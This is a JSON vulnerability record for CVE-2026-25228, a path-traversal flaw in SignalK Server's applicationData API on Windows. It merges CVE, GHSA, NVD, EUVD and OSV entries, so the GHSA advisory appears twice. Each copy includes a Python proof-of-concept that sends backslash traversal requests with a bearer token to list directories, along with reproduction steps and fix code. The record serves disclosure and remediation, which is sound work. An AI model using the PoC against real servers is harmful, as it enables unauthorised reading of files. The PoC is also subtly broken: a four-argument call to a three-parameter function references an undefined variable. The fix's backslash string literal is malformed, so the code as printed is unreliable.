{"id":"CVE-2026-25228","aliases":["EUVD-2026-5343","GHSA-vrhw-v2hw-jffx"],"status":"published","title":"SignalK Server has Path Traversal leading to information disclosure","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to 2.20.3, a path traversal vulnerability in SignalK Server's applicationData API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The validateAppId() function blocks forward slashes (/) but not backslashes (\\), which are treated as directory separators by path.join() on Windows. This enables attackers to escape the intended applicationData directory. This vulnerability is fixed in 2.20.3.","severity":{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00426,"percentile":0.37295,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-02-02T22:26:31Z","modified":"2026-10-28T02:30:45Z","fixes":[{"ecosystem":"npm","package":"signalk-server","fixed_in":["2.20.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"signalk-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.20.2"},{"fixed":"2.20.3"}]}]},{"source":"osv","ecosystem":"npm","package":"signalk-server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.20.3"}]}]}],"products":[{"vendor":"signalk","product":"signal_k_server"},{"vendor":"signalk","product":"signalk-server"}],"references":[{"url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-vrhw-v2hw-jffx","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/SignalK/signalk-server/commit/9bcf61c8fe2cb8a40998b913a02fb64dff9e86c7","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25228","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vrhw-v2hw-jffx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25228.json","tags":["advisory"]},{"url":"https://github.com/SignalK/signalk-server","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-25228","title":"SignalK Server has Path Traversal leading to information disclosure","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to 2.20.3, a path traversal vulnerability in SignalK Server's applicationData API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The validateAppId() function blocks forward slashes (/) but not backslashes (\\), which are treated as directory separators by path.join() on Windows. This enables attackers to escape the intended applicationData directory. This vulnerability is fixed in 2.20.3.","status":"published","published":"2026-02-02T23:02:52.062Z","modified":"2026-02-04T21:09:42.637Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:41:30.911526Z"}],"euvd":[{"id":"EUVD-2026-5343","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to 2.20.3, a path traversal vulnerability in SignalK Server's applicationData API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The validateAppId() function blocks forward slashes (/) but not backslashes (\\), which are treated as directory separators by path.join() on Windows. This enables attackers to escape the intended applicationData directory. This vulnerability is fixed in 2.20.3.","status":"published","published":"2026-02-02T23:02:52Z","modified":"2026-02-04T21:09:42Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T19:48:43.720683Z"}],"ghsa":[{"id":"GHSA-vrhw-v2hw-jffx","title":"SignalK Server has Path Traversal leading to information disclosure","description":"### Summary\nA Path Traversal vulnerability in SignalK Server's `applicationData` API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The `validateAppId()` function blocks forward slashes (`/`) but not backslashes (`\\`), which are treated as directory separators by `path.join()` on Windows. This enables attackers to escape the intended `applicationData` directory.\n\n### Details\n**Platform**: Windows (Linux only allows traversal up a single directory)\n**Authentication Required**: Yes (ability to write depends on user's permission)\n\nThe vulnerability exists in the `validateAppId()` function within the applicationData API handler. This function validates the `appid` parameter but only checks for forward slashes:\n\n```javascript\n// Simplified vulnerable code pattern\nfunction validateAppId(appid) {\n  if (appid.includes('/') || appid.length \u003e= 30) {\n    return false;\n  }\n  return true;\n}\n\n// Later used in path construction\nconst dataPath = path.join(configPath, 'applicationData', 'users', deviceId, appid);\n```\n\n**Root Cause:**\n- The validation only blocks `/` characters\n- On Windows, `path.join()` uses the platform's native path separator\n- Windows treats both `/` and `\\` as valid directory separators\n- Backslash-based traversal sequences like `..\\..\\..` pass validation\n- When `path.join()` processes these on Windows, each `..` traverses up one directory level\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport argparse\nimport http.client\nimport json\nimport sys\nfrom urllib.parse import urlparse\n\nPREFIX = \"/signalk/v1/applicationData\"\n\n\ndef raw_get(base, path, token):\n    \"\"\"\n    GET using http.client so that '..' and backslashes in the URL\n    are sent literally (requests/urllib would normalise them away).\n    \"\"\"\n    parsed = urlparse(base)\n    host, port = parsed.hostname, parsed.port or 80\n    conn = http.client.HTTPConnection(host, port)\n    conn.request(\"GET\", path, headers={\"Authorization\": f\"Bearer {token}\"})\n    resp = conn.getresponse()\n    status = resp.status\n    body = resp.read().decode(\"utf-8\", errors=\"replace\")\n    conn.close()\n    return status, body\n\n\ndef main():\n    ap = argparse.ArgumentParser(description=\"Signal K Windows path traversal PoC\")\n    ap.add_argument(\"--target\", required=True, help=\"e.g. http://192.168.1.100:3000\")\n    ap.add_argument(\"--token\", required=True, help=\"any valid JWT token\")\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n\n    # On Windows, path.join(configPath, \"applicationData\", \"users\", id, appid)\n    # resolves each '..' upward when separated by backslashes.\n    #\n    # Depth from base (configPath/applicationData/users/):\n    #   ..              → applicationData/users/          (1 level)\n    #   ..\\..           → applicationData/                (2 levels)\n    #   ..\\..\\..        → configPath (.signalk)           (3 levels)\n    #   ..\\..\\..\\..     → user home directory             (4 levels)\n\n    traversals = [\n        (\"..\\\\..\\\\..\\\\\", \".signalk config directory\"),\n        (\"..\\\\..\\\\..\\\\..\\\\\", \"user home directory\"),\n    ]\n\n    for appid, description in traversals:\n        path = f\"{PREFIX}/user/{appid}\"\n        status, body = raw_get(base, path, token, args.token)\n\n        print(f\"[{status}] {description}\")\n        print(f\"  GET {path}\")\n\n        if status == 200:\n            try:\n                entries = json.loads(body)\n                for entry in entries:\n                    print(f\"    {entry}\")\n            except json.JSONDecodeError:\n                print(f\"    {body[:200]}\")\n        else:\n            print(f\"    {body[:200]}\")\n        print()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Reproduction Steps:**\n\n1. Set up SignalK Server on a Windows machine\n2. Obtain a valid device or user authentication token\n3. Run the PoC script:\n   ```bash\n   python3 poc_windows_appid_traversal.py --target http://[signalK server IP]:3000 --token \u003cYOUR_TOKEN\u003e\n   ```\n\n### Recommended Fix\n\n**Short-term:**\n1. Add backslash validation to `validateAppId()`:\n   ```javascript\n   function validateAppId(appid) {\n     if (appid.includes('/') || appid.includes('\\') || appid.length \u003e= 30) {\n       return false;\n     }\n     return true;\n   }\n   ```\n\n2. Use `path.normalize()` and validate that resolved paths remain within the intended directory:\n   ```javascript\n   const resolvedPath = path.normalize(path.join(baseDir, appid));\n   if (!resolvedPath.startsWith(path.normalize(baseDir))) {\n     throw new Error('Invalid path');\n   }\n   ```","status":"published","published":"2026-02-02T22:26:31Z","modified":"2026-02-03T16:13:33Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:21.558748Z"}],"nvd":[{"id":"CVE-2026-25228","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to 2.20.3, a path traversal vulnerability in SignalK Server's applicationData API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The validateAppId() function blocks forward slashes (/) but not backslashes (\\), which are treated as directory separators by path.join() on Windows. This enables attackers to escape the intended applicationData directory. This vulnerability is fixed in 2.20.3.","status":"published","published":"2026-02-02T23:16:10.08Z","modified":"2026-06-17T10:24:20.363Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:05.149641Z"}],"osv":[{"id":"CVE-2026-25228","title":"SignalK Server has Path Traversal leading to information disclosure","description":"Signal K Server is a server application that runs on a central hub in a boat. Prior to 2.20.3, a path traversal vulnerability in SignalK Server's applicationData API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The validateAppId() function blocks forward slashes (/) but not backslashes (\\), which are treated as directory separators by path.join() on Windows. This enables attackers to escape the intended applicationData directory. This vulnerability is fixed in 2.20.3.","status":"published","published":"2026-02-02T23:02:52.062Z","modified":"2026-10-28T02:30:45.06157154Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:59.438965Z"},{"id":"GHSA-vrhw-v2hw-jffx","title":"SignalK Server has Path Traversal leading to information disclosure","description":"### Summary\nA Path Traversal vulnerability in SignalK Server's `applicationData` API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The `validateAppId()` function blocks forward slashes (`/`) but not backslashes (`\\`), which are treated as directory separators by `path.join()` on Windows. This enables attackers to escape the intended `applicationData` directory.\n\n### Details\n**Platform**: Windows (Linux only allows traversal up a single directory)\n**Authentication Required**: Yes (ability to write depends on user's permission)\n\nThe vulnerability exists in the `validateAppId()` function within the applicationData API handler. This function validates the `appid` parameter but only checks for forward slashes:\n\n```javascript\n// Simplified vulnerable code pattern\nfunction validateAppId(appid) {\n  if (appid.includes('/') || appid.length \u003e= 30) {\n    return false;\n  }\n  return true;\n}\n\n// Later used in path construction\nconst dataPath = path.join(configPath, 'applicationData', 'users', deviceId, appid);\n```\n\n**Root Cause:**\n- The validation only blocks `/` characters\n- On Windows, `path.join()` uses the platform's native path separator\n- Windows treats both `/` and `\\` as valid directory separators\n- Backslash-based traversal sequences like `..\\..\\..` pass validation\n- When `path.join()` processes these on Windows, each `..` traverses up one directory level\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport argparse\nimport http.client\nimport json\nimport sys\nfrom urllib.parse import urlparse\n\nPREFIX = \"/signalk/v1/applicationData\"\n\n\ndef raw_get(base, path, token):\n    \"\"\"\n    GET using http.client so that '..' and backslashes in the URL\n    are sent literally (requests/urllib would normalise them away).\n    \"\"\"\n    parsed = urlparse(base)\n    host, port = parsed.hostname, parsed.port or 80\n    conn = http.client.HTTPConnection(host, port)\n    conn.request(\"GET\", path, headers={\"Authorization\": f\"Bearer {token}\"})\n    resp = conn.getresponse()\n    status = resp.status\n    body = resp.read().decode(\"utf-8\", errors=\"replace\")\n    conn.close()\n    return status, body\n\n\ndef main():\n    ap = argparse.ArgumentParser(description=\"Signal K Windows path traversal PoC\")\n    ap.add_argument(\"--target\", required=True, help=\"e.g. http://192.168.1.100:3000\")\n    ap.add_argument(\"--token\", required=True, help=\"any valid JWT token\")\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n\n    # On Windows, path.join(configPath, \"applicationData\", \"users\", id, appid)\n    # resolves each '..' upward when separated by backslashes.\n    #\n    # Depth from base (configPath/applicationData/users/):\n    #   ..              → applicationData/users/          (1 level)\n    #   ..\\..           → applicationData/                (2 levels)\n    #   ..\\..\\..        → configPath (.signalk)           (3 levels)\n    #   ..\\..\\..\\..     → user home directory             (4 levels)\n\n    traversals = [\n        (\"..\\\\..\\\\..\\\\\", \".signalk config directory\"),\n        (\"..\\\\..\\\\..\\\\..\\\\\", \"user home directory\"),\n    ]\n\n    for appid, description in traversals:\n        path = f\"{PREFIX}/user/{appid}\"\n        status, body = raw_get(base, path, token, args.token)\n\n        print(f\"[{status}] {description}\")\n        print(f\"  GET {path}\")\n\n        if status == 200:\n            try:\n                entries = json.loads(body)\n                for entry in entries:\n                    print(f\"    {entry}\")\n            except json.JSONDecodeError:\n                print(f\"    {body[:200]}\")\n        else:\n            print(f\"    {body[:200]}\")\n        print()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Reproduction Steps:**\n\n1. Set up SignalK Server on a Windows machine\n2. Obtain a valid device or user authentication token\n3. Run the PoC script:\n   ```bash\n   python3 poc_windows_appid_traversal.py --target http://[signalK server IP]:3000 --token \u003cYOUR_TOKEN\u003e\n   ```\n\n### Recommended Fix\n\n**Short-term:**\n1. Add backslash validation to `validateAppId()`:\n   ```javascript\n   function validateAppId(appid) {\n     if (appid.includes('/') || appid.includes('\\') || appid.length \u003e= 30) {\n       return false;\n     }\n     return true;\n   }\n   ```\n\n2. Use `path.normalize()` and validate that resolved paths remain within the intended directory:\n   ```javascript\n   const resolvedPath = path.normalize(path.join(baseDir, appid));\n   if (!resolvedPath.startsWith(path.normalize(baseDir))) {\n     throw new Error('Invalid path');\n   }\n   ```","status":"published","published":"2026-02-02T22:26:31Z","modified":"2026-02-03T17:48:55.832232Z","cvss":[{"version":"3.1","score":5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:57.694388Z"}]}}
